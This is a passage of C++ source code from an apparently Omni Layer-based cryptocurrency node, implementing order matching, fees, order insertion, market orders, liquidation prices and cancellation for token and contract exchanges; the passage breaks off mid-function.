case TRADED_MOREINSELLER: return "TRADED_MOREINSELLER";
case TRADED_MOREINBUYER: return "TRADED_MOREINBUYER";
case ADDED: return "ADDED";
case CANCELLED: return "CANCELLED";
default: return "* unknown *";
}
}
// Used by rangeInt64, xToInt64
static bool rangeInt64(const int128_t& value)
{
return (std::numeric_limits<int64_t>::min() <= value && value <= std::numeric_limits<int64_t>::max());
}
// Used by xToString
static bool rangeInt64(const rational_t& value)
{
return (rangeInt64(value.numerator()) && rangeInt64(value.denominator()));
}
// Used by CMPMetaDEx::displayUnitPrice
static int64_t xToRoundUpInt64(const rational_t& value)
{
// for integer rounding up: ceil(num / denom) => 1 + (num - 1) / denom
int128_t result = int128_t(1) + (value.numerator() - int128_t(1)) / value.denominator();
assert(rangeInt64(result));
return result.convert_to<int64_t>();
}
std::string xToString(const dec_float& value)
{
return value.str(DISPLAY_PRECISION_LEN, std::ios_base::fixed);
}
std::string xToString(const int128_t& value)
{
return strprintf("%s", boost::lexical_cast<std::string>(value));
}
std::string xToString(const rational_t& value)
{
if (rangeInt64(value))
{
int64_t num = value.numerator().convert_to<int64_t>();
int64_t denom = value.denominator().convert_to<int64_t>();
dec_float x = dec_float(num) / dec_float(denom);
return xToString(x);
}
else
return strprintf("%s / %s", xToString(value.numerator()), xToString(value.denominator()));
}
/********************************************************************/
/** New things for Contracts */
std::string xToString(const uint64_t &price)
{
return strprintf("%s", boost::lexical_cast<std::string>(price));
}
std::string xToString(const int64_t &price)
{
return strprintf("%s", boost::lexical_cast<std::string>(price));
}
std::string xToString(const uint32_t &value)
{
return strprintf("%s", boost::lexical_cast<std::string>(value));
}
ui128 multiply_int64_t(int64_t &m, int64_t &n)
{
ui128 product;
multiply(product, m, n);
return product;
}
ui128 multiply_uint64_t(uint64_t &m, uint64_t &n)
{
ui128 product;
multiply(product, m, n);
return product;
}
/*The metadex of tokens*/
// find the best match on the market
// NOTE: sometimes I refer to the older order as seller & the newer order as buyer, in this trade
// INPUT: property, desprop, desprice = of the new order being inserted; the new object being processed
// RETURN:
MatchReturnType x_Trade(CMPMetaDEx* const pnew)
{
const uint32_t propertyForSale = pnew->getProperty();
const uint32_t propertyDesired = pnew->getDesProperty();
MatchReturnType NewReturn = NOTHING;
bool bBuyerSatisfied = false;
// if (msc_debug_metadex1) PrintToLog("%s(%s: prop=%d, desprop=%d, desprice= %s);newo: %s\n",
// __FUNCTION__, pnew->getAddr(), propertyForSale, propertyDesired, xToString(pnew->inversePrice()), pnew->ToString());
md_PricesMap* const ppriceMap = get_Prices(propertyDesired);
// nothing for the desired property exists in the market, sorry!
if (!ppriceMap) {
PrintToLog("%s()=%d:%s NOT FOUND ON THE MARKET\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn));
return NewReturn;
}
// within the desired property map (given one property) iterate over the items looking at prices
for (md_PricesMap::iterator priceIt = ppriceMap->begin(); priceIt != ppriceMap->end(); ++priceIt) { // check all prices
const rational_t sellersPrice = priceIt->first;
// if (msc_debug_metadex2) PrintToLog("comparing prices: desprice %s needs to be GREATER THAN OR EQUAL TO %s\n",
// xToString(pnew->inversePrice()), xToString(sellersPrice));
// Is the desired price check satisfied? The buyer's inverse price must be larger than that of the seller.
if (pnew->inversePrice() < sellersPrice) {
continue;
}
md_Set* const pofferSet = &(priceIt->second);
// at good (single) price level and property iterate over offers looking at all parameters to find the match
md_Set::iterator offerIt = pofferSet->begin();
while (offerIt != pofferSet->end()) { // specific price, check all properties
const CMPMetaDEx* const pold = &(*offerIt);
assert(pold->unitPrice() == sellersPrice);
// if (msc_debug_metadex1) PrintToLog("Looking at existing: %s (its prop= %d, its des prop= %d) = %s\n",
// xToString(sellersPrice), pold->getProperty(), pold->getDesProperty(), pold->ToString());
// does the desired property match?
if (pold->getDesProperty() != propertyForSale) {
++offerIt;
continue;
}
// if (msc_debug_metadex1) PrintToLog("MATCH FOUND, Trade: %s = %s\n", xToString(sellersPrice), pold->ToString());
// match found, execute trade now!
const int64_t seller_amountForSale = pold->getAmountRemaining();
const int64_t buyer_amountOffered = pnew->getAmountRemaining();
// if (msc_debug_metadex1) PrintToLog("$$ trading using price: %s; seller: forsale=%d, desired=%d, remaining=%d, buyer amount offered=%d\n",
// xToString(sellersPrice), pold->getAmountForSale(), pold->getAmountDesired(), pold->getAmountRemaining(), pnew->getAmountRemaining());
// if (msc_debug_metadex1) PrintToLog("$$ old: %s\n", pold->ToString());
// if (msc_debug_metadex1) PrintToLog("$$ new: %s\n", pnew->ToString());
///////////////////////////
// preconditions
assert(0 < pold->getAmountRemaining());
assert(0 < pnew->getAmountRemaining());
assert(pnew->getProperty() != pnew->getDesProperty());
assert(pnew->getProperty() == pold->getDesProperty());
assert(pold->getProperty() == pnew->getDesProperty());
assert(pold->unitPrice() <= pnew->inversePrice());
assert(pnew->unitPrice() <= pold->inversePrice());
///////////////////////////
// First determine how many representable (indivisible) tokens Alice can
// purchase from Bob, using Bob's unit price
// This implies rounding down, since rounding up is impossible, and would
// require more tokens than Alice has
arith_uint256 iCouldBuy = (ConvertTo256(pnew->getAmountRemaining()) * ConvertTo256(pold->getAmountForSale())) / ConvertTo256(pold->getAmountDesired());
int64_t nCouldBuy = 0;
if (iCouldBuy < ConvertTo256(pold->getAmountRemaining())) {
nCouldBuy = ConvertTo64(iCouldBuy);
} else {
nCouldBuy = pold->getAmountRemaining();
}
if (nCouldBuy == 0) {
// if (msc_debug_metadex1) PrintToLog(
// "-- buyer has not enough tokens for sale to purchase one unit!\n");
++offerIt;
continue;
}
// If the amount Alice would have to pay to buy Bob's tokens at his price
// is fractional, always round UP the amount Alice has to pay
// This will always be better for Bob. Rounding in the other direction
// will always be impossible, because ot would violate Bob's accepted price
arith_uint256 iWouldPay = DivideAndRoundUp((ConvertTo256(nCouldBuy) * ConvertTo256(pold->getAmountDesired())), ConvertTo256(pold->getAmountForSale()));
int64_t nWouldPay = ConvertTo64(iWouldPay);
// If the resulting adjusted unit price is higher than Alice' price, the
// orders shall not execute, and no representable fill is made
const rational_t xEffectivePrice(nWouldPay, nCouldBuy);
if (xEffectivePrice > pnew->inversePrice()) {
// if (msc_debug_metadex1) PrintToLog(
// "-- effective price is too expensive: %s\n", xToString(xEffectivePrice));
++offerIt;
continue;
}
const int64_t buyer_amountGot = nCouldBuy;
const int64_t seller_amountGot = nWouldPay;
const int64_t buyer_amountLeft = pnew->getAmountRemaining() - seller_amountGot;
const int64_t seller_amountLeft = pold->getAmountRemaining() - buyer_amountGot;
// if (msc_debug_metadex1) PrintToLog("$$ buyer_got= %d, seller_got= %d, seller_left_for_sale= %d, buyer_still_for_sale= %d\n",
// buyer_amountGot, seller_amountGot, seller_amountLeft, buyer_amountLeft);
///////////////////////////
// postconditions
assert(xEffectivePrice >= pold->unitPrice());
assert(xEffectivePrice <= pnew->inversePrice());
assert(0 <= seller_amountLeft);
assert(0 <= buyer_amountLeft);
assert(seller_amountForSale == seller_amountLeft + buyer_amountGot);
assert(buyer_amountOffered == buyer_amountLeft + seller_amountGot);
///////////////////////////
int64_t buyer_amountGotAfterFee = buyer_amountGot;
int64_t tradingFee = 0;
// strip a 0.05% fee from non-OMNI pairs if fees are activated
if (IsFeatureActivated(FEATURE_FEES, pnew->getBlock())) {
if (pold->getProperty() > OMNI_PROPERTY_TMSC && pold->getDesProperty() > OMNI_PROPERTY_TMSC) {
int64_t feeDivider = 2000; // 0.05%
tradingFee = buyer_amountGot / feeDivider;
// subtract the fee from the amount the seller will receive
buyer_amountGotAfterFee = buyer_amountGot - tradingFee;
// add the fee to the fee cache TODO: check the fees file
// p_feecache->AddFee(pnew->getDesProperty(), pnew->getBlock(), tradingFee);
} else {
// if (msc_debug_fees) PrintToLog("Skipping fee reduction for trade match %s:%s as one of the properties is Omni\n", pold->getHash().GetHex(), pnew->getHash().GetHex());
}
}
// transfer the payment property from buyer to seller
assert(update_tally_map(pnew->getAddr(), pnew->getProperty(), -seller_amountGot, BALANCE));
assert(update_tally_map(pold->getAddr(), pold->getDesProperty(), seller_amountGot, BALANCE));
// transfer the market (the one being sold) property from seller to buyer
assert(update_tally_map(pold->getAddr(), pold->getProperty(), -buyer_amountGot, METADEX_RESERVE));
assert(update_tally_map(pnew->getAddr(), pnew->getDesProperty(), buyer_amountGotAfterFee, BALANCE));
NewReturn = TRADED;
CMPMetaDEx seller_replacement = *pold; // < can be moved into last if block
seller_replacement.setAmountRemaining(seller_amountLeft, "seller_replacement");
pnew->setAmountRemaining(buyer_amountLeft, "buyer");
if (0 < buyer_amountLeft) {
NewReturn = TRADED_MOREINBUYER;
}
if (0 == buyer_amountLeft) {
bBuyerSatisfied = true;
}
if (0 < seller_amountLeft) {
NewReturn = TRADED_MOREINSELLER;
}
// if (msc_debug_metadex1) PrintToLog("==== TRADED !!! %u=%s\n", NewReturn, getTradeReturnType(NewReturn));
// record the trade in MPTradeList
t_tradelistdb->recordMatchedTrade(pold->getHash(), pnew->getHash(), // < might just pass pold, pnew
pold->getAddr(), pnew->getAddr(), pold->getDesProperty(), pnew->getDesProperty(), seller_amountGot, buyer_amountGotAfterFee, pnew->getBlock(), tradingFee);
// if (msc_debug_metadex1) PrintToLog("++ erased old: %s\n", offerIt->ToString());
// erase the old seller element
pofferSet->erase(offerIt++);
// insert the updated one in place of the old
if (0 < seller_replacement.getAmountRemaining()) {
PrintToLog("++ inserting seller_replacement: %s\n", seller_replacement.ToString());
pofferSet->insert(seller_replacement);
}
if (bBuyerSatisfied) {
assert(buyer_amountLeft == 0);
break;
}
} // specific price, check all properties
if (bBuyerSatisfied) break;
} // check all prices
PrintToLog("%s()=%d:%s\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn));
return NewReturn;
}
///////////////////////////////////////
/** New things for Contracts */
MatchReturnType x_Trade(CMPContractDex* const pnew)
{
const uint32_t propertyForSale = pnew->getProperty();
uint8_t trdAction = pnew->getTradingAction();
PrintToConsole("Trading action of pnew: %d \n",trdAction);
MatchReturnType NewReturn = NOTHING;
// if (msc_debug_metadex1)
// PrintToLog("%s(%s: prop=%d, desprice= %s);newo: %s\n", __FUNCTION__, pnew->getAddr(), propertyForSale, xToString(pnew->getEffectivePrice()), pnew->ToString());
cd_PricesMap* const ppriceMap = get_PricesCd(propertyForSale);
if (!ppriceMap)
{
PrintToLog("%s()=%d:%s NOT FOUND ON THE MARKET\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn));
return NewReturn;
}
LoopBiDirectional(ppriceMap, trdAction, NewReturn, pnew, propertyForSale);
return NewReturn;
}
/////////////////////////////////////
/** New things for contracts */
int get_LiquidationPrice(int64_t effectivePrice, string address, uint32_t property, uint8_t trading_action)
{
double percentLiqPrice = 0.95;
double liqFactor = 0;
int64_t longs = getMPbalance(address, property, POSSITIVE_BALANCE);
int64_t shorts = getMPbalance(address, property, NEGATIVE_BALANCE);
int64_t oldLiqPrice = getMPbalance (address, property,LIQUIDATION_PRICE);
PrintToConsole("longs : %d",longs);
PrintToConsole("shorts : %d",shorts);
if (longs == 0 && shorts == 0 && oldLiqPrice != 0) {
PrintToConsole("oldLiqPrice : %d",oldLiqPrice);
assert(update_tally_map(address, property, -oldLiqPrice, LIQUIDATION_PRICE));
return -1;
}
(trading_action == BUY) ? liqFactor = 1 - percentLiqPrice : liqFactor = 1 + percentLiqPrice;
double liqPr = static_cast<double> (effectivePrice * liqFactor) ;
double aLiqPrice = ( liqPr + static_cast<double>(oldLiqPrice) ) / 2 ;
int64_t newLiqPrice = static_cast<int64_t>(aLiqPrice);
PrintToConsole ("trading action : %d\n", trading_action);
PrintToConsole ("LiqFactor : %d\n", liqFactor);
PrintToConsole ("Precio de liquidación antiguo : %d\n", oldLiqPrice);
PrintToConsole ("Precio de liquidación actual : %d\n", liqPr);
PrintToConsole ("Precio de liquidación Nuevo : %d\n", newLiqPrice);
if (oldLiqPrice > 0) {
assert(update_tally_map(address, property, -oldLiqPrice, LIQUIDATION_PRICE));
assert(update_tally_map(address, property, newLiqPrice, LIQUIDATION_PRICE));
return 1;
}
return -1;
}
////////////////////////////////////////
/**
* Used for display of unit prices to 8 decimal places at UI layer.
*
* Automatically returns unit or inverse price as needed.
*/
std::string CMPMetaDEx::displayUnitPrice() const
{
rational_t tmpDisplayPrice;
if (getDesProperty() == OMNI_PROPERTY_MSC || getDesProperty() == OMNI_PROPERTY_TMSC) {
tmpDisplayPrice = unitPrice();
if (isPropertyDivisible(getProperty())) tmpDisplayPrice = tmpDisplayPrice * COIN;
} else {
tmpDisplayPrice = inversePrice();
if (isPropertyDivisible(getDesProperty())) tmpDisplayPrice = tmpDisplayPrice * COIN;
}
// offers with unit prices under 0.00000001 will be excluded from UI layer - TODO: find a better way to identify sub 0.00000001 prices
std::string tmpDisplayPriceStr = xToString(tmpDisplayPrice);
if (!tmpDisplayPriceStr.empty()) { if (tmpDisplayPriceStr.substr(0,1) == "0") return "0.00000000"; }
// we must always round up here - for example if the actual price required is 0.3333333344444
// round: 0.33333333 - price is insufficient and thus won't result in a trade
// round: 0.33333334 - price will be sufficient to result in a trade
std::string displayValue = FormatDivisibleMP(xToRoundUpInt64(tmpDisplayPrice));
return displayValue;
}
/**
* Used for display of unit prices with 50 decimal places at RPC layer.
*
* Note: unit price is no longer always shown in OMNI and/or inverted
*/
std::string CMPMetaDEx::displayFullUnitPrice() const
{
rational_t tempUnitPrice = unitPrice();
/* Matching types require no action (divisible/divisible or indivisible/indivisible)
Non-matching types require adjustment for display purposes
divisible/indivisible : *COIN
indivisible/divisible : /COIN
*/
if ( isPropertyDivisible(getProperty()) && !isPropertyDivisible(getDesProperty()) ) tempUnitPrice = tempUnitPrice*COIN;
if ( !isPropertyDivisible(getProperty()) && isPropertyDivisible(getDesProperty()) ) tempUnitPrice = tempUnitPrice/COIN;
std::string unitPriceStr = xToString(tempUnitPrice);
return unitPriceStr;
}
//////////////////////////////////////
/** New things for Contracts */
std::string CMPContractDex::displayFullContractPrice() const
{
uint64_t priceForsale = getEffectivePrice();
uint64_t amountForsale = getAmountForSale();
int128_t fullprice;
if ( isPropertyContract(getProperty()) ) multiply(fullprice, priceForsale, amountForsale);
std::string priceForsaleStr = xToString(fullprice);
return priceForsaleStr;
}
//////////////////////////////////////
rational_t CMPMetaDEx::unitPrice() const
{
rational_t effectivePrice;
if (amount_forsale) effectivePrice = rational_t(amount_desired, amount_forsale);
return effectivePrice;
}
rational_t CMPMetaDEx::inversePrice() const
{
rational_t inversePrice;
if (amount_desired) inversePrice = rational_t(amount_forsale, amount_desired);
return inversePrice;
}
int64_t CMPMetaDEx::getAmountToFill() const
{
// round up to ensure that the amount we present will actually result in buying all available tokens
arith_uint256 iAmountNeededToFill = DivideAndRoundUp((ConvertTo256(amount_remaining) * ConvertTo256(amount_desired)), ConvertTo256(amount_forsale));
int64_t nAmountNeededToFill = ConvertTo64(iAmountNeededToFill);
return nAmountNeededToFill;
}
int64_t CMPMetaDEx::getBlockTime() const
{
CBlockIndex* pblockindex = chainActive[block];
return pblockindex->GetBlockTime();
}
void CMPMetaDEx::setAmountRemaining(int64_t amount, const std::string& label)
{
amount_remaining = amount;
PrintToLog("update remaining amount still up for sale (%ld %s):%s\n", amount, label, ToString());
}
///////////////////////////////////////////
void CMPMetaDEx::setAmountForsale(int64_t amount, const std::string& label)
{
amount_forsale = amount;
PrintToLog("update remaining amount still up for sale (%ld %s):%s\n", amount, label, ToString());
}
void CMPContractDex::setPrice(int64_t price)
{
effective_price = price;
// PrintToLog("update price still up for sale (%ld):%s\n", price, ToString());
}
///////////////////////////////////////////
std::string CMPMetaDEx::ToString() const
{
return strprintf("%s:%34s in %d/%03u, txid: %s , trade #%u %s for #%u %s",
xToString(unitPrice()), addr, block, idx, txid.ToString().substr(0, 10),
property, FormatMP(property, amount_forsale), desired_property, FormatMP(desired_property, amount_desired));
}
////////////////////////////////////
/** New things for Contract */
std::string CMPContractDex::ToString() const
{
return strprintf("%s:%34s in %d/%03u, txid: %s , trade #%u %s for #%u %s",
xToString(getEffectivePrice()), getAddr(), getBlock(), getIdx(), getHash().ToString().substr(0, 10),
getProperty(), FormatMP(getProperty(), getAmountForSale()));
}
//////////////////////////////////////
void CMPMetaDEx::saveOffer(std::ofstream& file, SHA256_CTX* shaCtx) const
{
std::string lineOut = strprintf("%s,%d,%d,%d,%d,%d,%d,%d,%s,%d",
addr,
block,
amount_forsale,
property,
amount_desired,
desired_property,
subaction,
idx,
txid.ToString(),
amount_remaining
);
// add the line to the hash
SHA256_Update(shaCtx, lineOut.c_str(), lineOut.length());
// write the line
file << lineOut << std::endl;
}
////////////////////////////////////
/** New things for Contract */
void CMPContractDex::saveOffer(std::ofstream& file, SHA256_CTX* shaCtx) const
{
std::string lineOut = strprintf("%s,%d,%d,%d,%d,%d,%d,%d,%s,%d,%d,%d",
getAddr(),
getBlock(),
getAmountForSale(),
getProperty(),
getAmountDesired(),
getDesProperty(),
getAction(),
getIdx(),
getHash().ToString(),
getAmountRemaining(),
effective_price,
trading_action
);
// add the line to the hash
SHA256_Update(shaCtx, lineOut.c_str(), lineOut.length());
// write the line
file << lineOut << std::endl;
}
////////////////////////////////////
/** New things for Contract */
void saveDataGraphs(std::fstream &file, std::string lineOutSixth1, std::string lineOutSixth2, std::string lineOutSixth3, bool savedata_bool)
{
std::string lineSixth1 = lineOutSixth1;
std::string lineSixth2 = lineOutSixth2;
std::string lineSixth3 = lineOutSixth3;
if ( savedata_bool )
{
file << lineSixth1 << "\n";
file << lineSixth2 << std::endl;
}
else
{
file << lineSixth1 << "\n";
file << lineSixth2 << "\n";
file << lineSixth3 << std::endl;
}
}
void saveDataGraphs(std::fstream &file, std::string lineOut)
{
std::string line = lineOut;
file << line << std::endl;
}
////////////////////////////////////
bool MetaDEx_compare::operator()(const CMPMetaDEx &lhs, const CMPMetaDEx &rhs) const
{
if (lhs.getBlock() == rhs.getBlock()) return lhs.getIdx() < rhs.getIdx();
else return lhs.getBlock() < rhs.getBlock();
}
///////////////////////////////////////////
/** New things for Contracts */
bool ContractDex_compare::operator()(const CMPContractDex &lhs, const CMPContractDex &rhs) const
{
if (lhs.getBlock() == rhs.getBlock()) return lhs.getIdx() < rhs.getIdx();
else return lhs.getBlock() < rhs.getBlock();
}
///////////////////////////////////////////
bool mastercore::MetaDEx_INSERT(const CMPMetaDEx& objMetaDEx)
{
// Create an empty price map (to use in case price map for this property does not already exist)
md_PricesMap temp_prices;
// Attempt to obtain the price map for the property
md_PricesMap *p_prices = get_Prices(objMetaDEx.getProperty());
// Create an empty set of metadex objects (to use in case no set currently exists at this price)
md_Set temp_indexes;
md_Set *p_indexes = NULL;
// Prepare for return code
std::pair <md_Set::iterator, bool> ret;
// Attempt to obtain a set of metadex objects for this price from the price map
if (p_prices) p_indexes = get_Indexes(p_prices, objMetaDEx.unitPrice());
// See if the set was populated, if not no set exists at this price level, use the empty set that we created earlier
if (!p_indexes) p_indexes = &temp_indexes;
// Attempt to insert the metadex object into the set
ret = p_indexes->insert(objMetaDEx);
if (false == ret.second) return false;
// If a prices map did not exist for this property, set p_prices to the temp empty price map
if (!p_prices) p_prices = &temp_prices;
// Update the prices map with the new set at this price
(*p_prices)[objMetaDEx.unitPrice()] = *p_indexes;
// Set the metadex map for the property to the updated (or new if it didn't exist) price map
metadex[objMetaDEx.getProperty()] = *p_prices;
return true;
}
///////////////////////////////////////////
/** New things for Contracts */
bool mastercore::ContractDex_INSERT(const CMPContractDex &objContractDex)
{
// Create an empty price map (to use in case price map for this property does not already exist)
cd_PricesMap temp_prices;
// Attempt to obtain the price map for the property
cd_PricesMap *cd_prices = get_PricesCd(objContractDex.getProperty());
// Create an empty set of contractdex objects (to use in case no set currently exists at this price)
cd_Set temp_indexes;
cd_Set *p_indexes = NULL;
// Prepare for return code
std::pair <cd_Set::iterator, bool> ret;
// Attempt to obtain a set of contractdex objects for this price from the price map
if (cd_prices) p_indexes = get_IndexesCd(cd_prices, objContractDex.getEffectivePrice());
// See if the set was populated, if not no set exists at this price level, use the empty set that we created earlier
if (!p_indexes) p_indexes = &temp_indexes;
// Attempt to insert the contractdex object into the set
ret = p_indexes->insert(objContractDex);
if (false == ret.second) return false;
// If a prices map did not exist for this property, set p_prices to the temp empty price map
if (!cd_prices) cd_prices = &temp_prices;
// Update the prices map with the new Set at this price
(*cd_prices)[objContractDex.getEffectivePrice()] = *p_indexes;
// Set the contractdex map for the property to the updated (or new if it didn't exist) price map
contractdex[objContractDex.getProperty()] = *cd_prices;
// = *cd_prices;
return true;
}
///////////////////////////////////////////
// pretty much directly linked to the ADD TX21 command off the wire
int mastercore::MetaDEx_ADD(const std::string& sender_addr, uint32_t prop, int64_t amount, int block, uint32_t property_desired, int64_t amount_desired, const uint256& txid, unsigned int idx)
{
int rc = METADEX_ERROR -1;
PrintToConsole("------------------------------------------------------------\n");
PrintToConsole("Inside MetaDEx_ADD\n");
// Create a MetaDEx object from paremeters
CMPMetaDEx new_mdex(sender_addr, block, prop, amount, property_desired, amount_desired, txid, idx, CMPTransaction::ADD);
// if (msc_debug_metadex1) PrintToLog("%s(); buyer obj: %s\n", __FUNCTION__, new_mdex.ToString());
// Ensure this is not a badly priced trade (for example due to zero amounts)
if (0 >= new_mdex.unitPrice()) return METADEX_ERROR -66;
// Match against existing trades, remainder of the order will be put into the order book
// if (msc_debug_metadex3) MetaDEx_debug_print();
x_Trade(&new_mdex);
// if (msc_debug_metadex3) MetaDEx_debug_print();
// Insert the remaining order into the MetaDEx maps
if (0 < new_mdex.getAmountRemaining()) { //switch to getAmountRemaining() when ready
if (!MetaDEx_INSERT(new_mdex)) {
PrintToLog("%s() ERROR: ALREADY EXISTS, line %d, file: %s\n", __FUNCTION__, __LINE__, __FILE__);
return METADEX_ERROR -70;
} else {
// move tokens into reserve
assert(update_tally_map(sender_addr, prop, -new_mdex.getAmountRemaining(), BALANCE));
assert(update_tally_map(sender_addr, prop, new_mdex.getAmountRemaining(), METADEX_RESERVE));
// if (msc_debug_metadex1) PrintToLog("==== INSERTED: %s= %s\n", xToString(new_mdex.unitPrice()), new_mdex.ToString());
// if (msc_debug_metadex3) MetaDEx_debug_print();
}
}
rc = 0;
return rc;
}
/////////////////////////////////////////
/** New things for Contract */
int mastercore::ContractDex_ADD(const std::string& sender_addr, uint32_t prop, int64_t amount, int block, const uint256& txid, unsigned int idx, uint64_t effective_price, uint8_t trading_action, int64_t amount_to_reserve)
{
// int rc = METADEX_ERROR -1;
/*Remember: Here CMPTransaction::ADD is the subaction coming from CMPMetaDEx*/
CMPContractDex new_cdex(sender_addr, block, prop, amount, 0, 0, txid, idx, CMPTransaction::ADD, effective_price, trading_action);
// if (msc_debug_metadex1) PrintToLog("%s(); buyer obj: %s\n", __FUNCTION__, new_cdex.ToString());
// Ensure this is not a badly priced trade (for example due to zero amounts)
if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66;
x_Trade(&new_cdex);
// if (msc_debug_metadex3) MetaDEx_debug_print();
// Insert the remaining order into the ContractDex maps
if (0 < new_cdex.getAmountForSale())
{ //switch to getAmounForSale() when ready
if (!ContractDex_INSERT(new_cdex))
{
PrintToLog("%s() ERROR: ALREADY EXISTS, line %d, file: %s\n", __FUNCTION__, __LINE__, __FILE__);
return METADEX_ERROR -70; // TODO: create new numbers for our errors.
} else {
PrintToConsole("\nInserted in the orderbook!!\n");
// if (msc_debug_metadex1) PrintToLog("==== INSERTED: %s= %s\n", xToString(new_cdex.getEffectivePrice()), new_cdex.ToString());
// if (msc_debug_metadex3) MetaDEx_debug_print();
}
}
return 0;
}
/////////////////////////////////////////
/** New things for Contract */
int mastercore::ContractDex_ADD_MARKET_PRICE(const std::string& sender_addr, uint32_t contractId, int64_t amount, int block, const uint256& txid, unsigned int idx, uint8_t trading_action, int64_t amount_to_reserve)
{
int rc = METADEX_ERROR -1;
PrintToLog("------------------------------------------------------------\n");
PrintToLog("Inside ContractDex_ADD_MARKET_PRICE\n");
/*Remember: Here CMPTransaction::ADD is the subaction coming from CMPMetaDEx*/
if (trading_action == BUY){
uint64_t ask = edgeOrderbook(contractId,BUY);
PrintToLog("ask: %d\n",ask);
CMPContractDex new_cdex(sender_addr, block, contractId, amount, 0, 0, txid, idx, CMPTransaction::ADD, ask, trading_action);
// Ensure this is not a badly priced trade (for example due to zero amounts)
PrintToLog("effective price of new_cdex /buy/: %d\n",new_cdex.getEffectivePrice());
if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66;
// Insert the remaining order into the ContractDex maps
uint64_t diff;
uint64_t oldvalue;
uint64_t newvalue;
while(true) {
oldvalue = new_cdex.getAmountForSale();
x_Trade(&new_cdex);
newvalue = new_cdex.getAmountForSale();
if (newvalue == 0) {
break;
}
uint64_t price = edgeOrderbook(contractId,BUY);
new_cdex.setPrice(price);
PrintToLog("SELL SIDE in while loop/ right side of example/<-------\n");
}
} else if (trading_action == SELL){
uint64_t bid = edgeOrderbook(contractId,SELL);
PrintToLog("bid: %d\n",bid);
CMPContractDex new_cdex(sender_addr, block, contractId, amount, 0, 0, txid, idx, CMPTransaction::ADD, bid, trading_action);
// Ensure this is not a badly priced trade (for example due to zero amounts
PrintToLog("effective price of new_cdex/sell/: %d\n",new_cdex.getEffectivePrice());
if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66;
// Insert the remaining order into the ContractDex maps
uint64_t oldvalue;
uint64_t newvalue;
uint64_t diff;
while(true) {
oldvalue = new_cdex.getAmountForSale();
x_Trade(&new_cdex);
newvalue = new_cdex.getAmountForSale();
if (newvalue == 0) {
break;
}
uint64_t price = edgeOrderbook(contractId,BUY);
new_cdex.setPrice(price);
PrintToLog("BUY SIDE in while loop/ right side of example/<-------\n");
}
}
rc = 0;
return rc;
}
int mastercore::ContractDex_CANCEL_EVERYTHING(const uint256& txid, unsigned int block, const std::string& sender_addr, unsigned char ecosystem, uint32_t contractId)
{
int rc = METADEX_ERROR -40;
bool bValid = false;
int64_t factorH = factorE;
for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
unsigned int prop = my_it->first;
// skip property, if it is not in the expected ecosystem
if (isMainEcosystemProperty(ecosystem) && !isMainEcosystemProperty(prop)) continue;
if (isTestEcosystemProperty(ecosystem) && !isTestEcosystemProperty(prop)) continue;
// PrintToLog(" ## property: %u\n", prop);
cd_PricesMap &prices = my_it->second;
for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// uint64_t price = it->first;
cd_Set &indexes = it->second;
// PrintToLog(" # Price Level: %s\n", xToString(price));
for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) {
// PrintToLog("%s= %s\n", xToString(price), it->ToString());
if (it->getAddr() != sender_addr || it->getProperty() != contractId || it->getAmountForSale() == 0) {
++it;
continue;
}
rc = 0;
// PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString());
CMPSPInfo::Entry sp;
assert(_my_sps->getSP(it->getProperty(), sp));
uint32_t collateralCurrency = sp.collateral_currency;
int64_t marginRe = static_cast<int64_t>(sp.margin_requirement);
string addr = it->getAddr();
int64_t amountForSale = it->getAmountForSale();
rational_t conv = notionalChange(contractId);
int64_t num = conv.numerator().convert_to<int64_t>();
int64_t den = conv.denominator().convert_to<int64_t>();
arith_uint256 amountMargin = (ConvertTo256(amountForSale) * ConvertTo256(marginRe) * ConvertTo256(num) / (ConvertTo256(den) * ConvertTo256(factorH)));
int64_t redeemed = ConvertTo64(amountMargin);
PrintToLog("collateral currency id of contract : %d\n",collateralCurrency);
PrintToLog("margin requirement of contract : %d\n",marginRe);
PrintToLog("amountForSale: %d\n",amountForSale);
PrintToLog("Address: %d\n",addr);
PrintToLog("--------------------------------------------\n");
// move from reserve to balance the collateral
assert(update_tally_map(addr, collateralCurrency, redeemed, BALANCE));
assert(update_tally_map(addr, collateralCurrency, redeemed, CONTRACTDEX_RESERVE));
// // record the cancellation
bValid = true;
// p_txlistdb->recordContractDexCancelTX(txid, it->getHash(), bValid, block, it->getProperty(), it->getAmountForSale
indexes.erase(it++);
}
}
}
if (bValid == false){
PrintToConsole("You don't have active orders\n");
}
return rc;
}
int mastercore::ContractDex_CANCEL_FOR_BLOCK(const uint256& txid, int block,unsigned int idx, const std::string& sender_addr, unsigned char ecosystem)
{
int rc = METADEX_ERROR -40;
bool bValid = false;
for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
// PrintToLog(" ## property: %u\n", prop);
cd_PricesMap &prices = my_it->second;
for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// uint64_t price = it->first;
cd_Set &indexes = it->second;
for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) {
string addr = it->getAddr();
if (addr != sender_addr || it->getBlock()!= block || it->getIdx()!= idx) {
++it;
continue;
}
CMPSPInfo::Entry sp;
uint32_t contractId = it->getProperty();
assert(_my_sps->getSP(contractId, sp));
uint32_t collateralCurrency = sp.collateral_currency;
uint32_t marginRe = sp.margin_requirement;
int64_t balance = getMPbalance(addr,collateralCurrency,BALANCE);
int64_t amountForSale = it->getAmountForSale();
rational_t conv = notionalChange(contractId);
int64_t num = conv.numerator().convert_to<int64_t>();
int64_t den = conv.denominator().convert_to<int64_t>();
arith_uint256 amountMargin = (ConvertTo256(amountForSale) * ConvertTo256(marginRe) * ConvertTo256(num) / (ConvertTo256(den) * ConvertTo256(factorE)));
int64_t redeemed = ConvertTo64(amountMargin);
PrintToLog("collateral currency id of contract : %d\n",collateralCurrency);
PrintToLog("margin requirement of contract : %d\n",marginRe);
PrintToLog("amountForSale: %d\n",amountForSale);
PrintToLog("Address: %d\n",addr);
std::string sgetback = FormatDivisibleMP(redeemed,false);
